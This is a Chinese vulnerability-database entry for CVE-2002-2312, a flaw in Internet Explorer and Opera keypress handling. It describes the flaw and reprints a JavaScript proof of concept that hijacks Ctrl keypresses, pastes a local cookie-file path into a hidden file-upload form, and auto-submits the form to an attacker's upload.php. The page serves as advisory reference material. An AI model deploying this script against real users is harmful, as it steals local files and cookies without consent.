多家厂商WEB浏览器JavaScript修改转换按键事件漏洞

多家厂商WEB浏览器JavaScript修改转换按键事件漏洞

漏洞ID 1106865 漏洞类型 设计错误
发布时间 2002-07-23 更新时间 2002-12-31
图片[1]-多家厂商WEB浏览器JavaScript修改转换按键事件漏洞-安全小百科CVE编号 CVE-2002-2312
图片[2]-多家厂商WEB浏览器JavaScript修改转换按键事件漏洞-安全小百科CNNVD-ID CNNVD-200212-517
漏洞平台 Windows CVSS评分 5.8
|漏洞来源
https://www.exploit-db.com/exploits/21636
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-517
|漏洞详情
MicrosoftInternetExplorer和Opera是流行的WEB浏览器。MicrosoftInternetExplorer和Opera在处理’onkeydown’事件时存在问题,远程攻击者可以利用这个漏洞获得目标用户任何本地文件。通过Javascript,可以定义’onkeydown’事件的事件句柄,此事件当用户末端按某一键的时候被触发,而使用恶意代码可以转换这个事件为任意Ctrl-key按键操作的组合,包括事件转换为粘贴操作,如粘贴任意内容到文件上载表单中,造成系统敏感信息泄露。攻击者可以通过如下步骤进行操作:1)当用户按CTRL键,onkeydown事件会把按下的键转换成’V’,结果可导致使用粘贴操作。2)剪贴板中的内容已经更改,此时如果输入焦点更改到隐藏的文件上载表单中,粘贴操作就会在表单中执行,这样就更改了文件上载字段的值。3)使用合法Javascript操作自动提交要上载的表单。由于可以通过”..filename”引用文件,所以攻击者不需要知道本地文件的确切路径。不过如果在知道文件确切路径的情况下,存在执行任意程序的可能,如攻击者可以编译一个.chm帮助文件并通过showHelp()(老的.chm攻击)启动。远程攻击者可以通过构建包含恶意代码的WEB页面,并在自己的服务器上准备’upload.php’文件进行上载处理,当用户查看此页面,并按下’CTRL’键的时候,就导致WEB页面中指定的文件上载到攻击者指定的服务器中。
|漏洞EXP
source: http://www.securityfocus.com/bid/5290/info

An issue has been reported with the JavaScript implementation of multiple web browsers, including Microsoft Internet Explorer and Opera. Malicious JavaScript may subvert some keypress events, with consequences including the disclosure of arbitrary local files to a remote server.

Through JavaScript, it is possible to define an event handler for the 'onkeydown' event, which fires when a key is pressed by the end user. Malicious script code may subvert this event to an arbitrary Ctrl-key combination, including events such as Paste. By further modifying the environment, it is possible to paste arbitrary content into a file upload form field.

This form may also be submitted by the malicious script, disclosing arbitrary local file contents to a remote server.

Other attacks based on script interaction with the cut and paste functionality of Windows may also be possible.

<div id=h style="zoom:0.0001">
<form name=u enctype="multipart/form-data" method=post action=upload.php>
<input type=file name=file></form></div>
<script>
//uploadFile="..\LOCALS~1\TEMPOR~1\CONTENT.IE5\index.dat";
uploadFile="..\Cookies\index.dat";
function gotKey(){
if (event.ctrlKey)
event.keyCode = 86;
else if (event.shiftKey)
event.keyCode = 45;
else
return;
document.onkeydown = null;
window.clipboardData.setData("Text",uploadFile);
(p=document.forms.u.file).focus();
p.onpropertychange = function(){document.forms.u.submit()};
} document.onkeydown = gotKey;
window.onload=function(){document.body.focus()};
</script>
|参考资料

来源:BID
名称:5290
链接:http://www.securityfocus.com/bid/5290
来源:NSFOCUS
名称:3153
链接:http://www.nsfocus.net/vulndb/3153

相关推荐: CGI Script Center News Update Password Changing Vulnerability

CGI Script Center News Update Password Changing Vulnerability 漏洞ID 1103691 漏洞类型 Input Validation Error 发布时间 2000-10-27 更新时间 2000-1…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享